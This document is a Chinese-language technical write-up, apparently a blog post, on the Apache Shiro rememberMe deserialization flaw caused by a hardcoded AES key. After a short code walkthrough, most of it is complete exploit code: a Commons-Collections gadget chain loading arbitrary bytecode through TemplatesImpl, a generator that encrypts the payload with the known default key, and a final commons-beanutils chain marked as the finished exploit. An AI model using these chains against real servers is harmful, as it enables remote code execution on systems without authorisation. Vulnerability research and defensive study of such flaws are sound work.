原理分析
处理rememberMe cookie的代码逻辑主要在getRememberedPrincipals
方法中
其中getRememberedSerializedIdentity
方法对Cookie进行了base64解密并返回解密结果
然后进入convertBytesToPrincipals
方法
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
跟进decrypt
方法
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
这里的cipherService.decrypt
是AES解密
其中的key是getDecryptionCipherKey()
的返回值
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
即decryptionCipherKey
而在构造函数中将其赋为一个常量
即kPH+bIxk5D2deZiIxcaaaA==
这就是导致漏洞产生的主要原因
返回后执行convertBytesToPrincipals
中的deserialize
方法进行反序列化
直接调用了ois.readObject
Shiro下的CC链
我们已经知道使用TemplatesImpl能执行任意java代码
TemplatesImpl obj = new TemplatesImpl();
byte[] code =xxx;
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj,"_name","xux");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
obj.newTransformer();
我们在CC3中使用InvokerTransformer调用TemplatesImpl#newTransformer方法
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]
{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",null,null)
};
但是在Shiro下因为Tomcat对类加载的处理问题,如果反序列化流中包含非Java自身的数组,就会报Unable to deserialize argument byte array
的错误
因此CC3就无法使用 因为CC3中用到了Transformer数组
我们在CC2中使用到了LazyMap#get 其中会调用factory.transform(key)
他的transform的参数是可控的
Exp:
public class ShiroCC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//目标是调用 TemplatesImpl.newTransformer(tpl) 即invokerTransformer.transform(tpl)
byte[] code = Files.readAllBytes(Paths.get("G:/java/ShiroExp/target/classes/Evil.class"));
TemplatesImpl tpl = new TemplatesImpl();
setFieldValue(tpl,"_name","aaa");
setFieldValue(tpl,"_bytecodes",new byte[][]{code});
//调用tpl的newTransformer方法即可
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
//调用invokerTransformer的transform方法即可->调用LazyMap#get即可
Transformer fakeTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,fakeTransformer);
//调用TiedMapEntry#hashcode即可
TiedMapEntry tme = new TiedMapEntry(outerMap,tpl);
Map expMap = new HashMap();
expMap.put(tme,"valuevalue");
outerMap.clear();
setFieldValue(outerMap,"factory",invokerTransformer);
seriazlie(expMap);
//unserialize();
}
public static void setFieldValue(Object obj,String fieldname,Object value) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void seriazlie(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}
对序列化生成的文件AES+Base64加密即可得到exp
public class GetExp {
public static void main(String[] args) throws IOException {
byte[] payload = Files.readAllBytes(Paths.get("G:/java/ShiroExp/ser.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payload,key);
System.out.println(ciphertext.toString());
}
}
无依赖链(commons-beanutils)
一个demo:
byte[] code = Files.readAllBytes(Paths.get("G:/java/ShiroExp/target/classes/Evil.class"));
TemplatesImpl tpl = new TemplatesImpl();
setFieldValue(tpl,"_name","aaa");
setFieldValue(tpl,"_tfactory",new TransformerFactoryImpl());
setFieldValue(tpl,"_bytecodes",new byte[][]{code});
PropertyUtils.getProperty(tpl,"outputProperties");
PopertyUtils.getProperty会调用tpl#getOutputProperties
查找调用了getProperty的地方
发现了BeanComparator#compare
Object value1 = PropertyUtils.getProperty(o1,property);
我们只要让o1是tpl,property是outputProperties
property可以直接在BeanComparator的构造函数中设置
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}
但是我们不能用默认的构造函数
因为ComparableComparator
是Common-Collections中的
而我们的环境无CC依赖
我们可以用如下构造函数自己设置comparator
public BeanComparator( String property, Comparator comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
自定义的comparator需要继承Comparator和Serializable接口
我们找到了AttrCompare
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
接下来的流程就和CC2差不多了
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(tpl);
priorityQueue.add(1);
setFieldValue(priorityQueue,"comparator",beanComparator);
seriazlie(priorityQueue);
这里使用
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
是因为防止在序列化执行过程中执行exp
但我们没有CC的依赖为什么能使用ConstantTransformer?
我们在序列化前将其改写了
setFieldValue(priorityQueue,"comparator",beanComparator);
所以序列化的数据是不含ConstantTransformer的
(一切都是为了在序列化前不执行exp)
PriorityQueue
是Java的优先队列
大致流程:
PriorityQueue#readObject
⬇
PriorityQueue#heapify
⬇
PriorityQueue#siftDown (前提是优先队列中至少有两个元素)
⬇
PriorityQueue#siftDownUsingComparator
⬇
comparator#compare
comparator
就是我们在序列化前通过反射修改的beanComparator
compare的第二个参数就是队列中的元素 即tpl
最终Exp:
public class ShiroCB {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, InvocationTargetException, NoSuchMethodException, InvocationTargetException, ClassNotFoundException {
byte[] code = Files.readAllBytes(Paths.get("G:/java/ShiroExp/target/classes/Evil.class"));
TemplatesImpl tpl = new TemplatesImpl();
setFieldValue(tpl,"_name","aaa");
setFieldValue(tpl,"_tfactory",new TransformerFactoryImpl());
setFieldValue(tpl,"_bytecodes",new byte[][]{code});
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(tpl);
priorityQueue.add(1);
setFieldValue(priorityQueue,"comparator",beanComparator);
seriazlie(priorityQueue);
}
public static void setFieldValue(Object obj,String fieldname,Object value) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void seriazlie(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}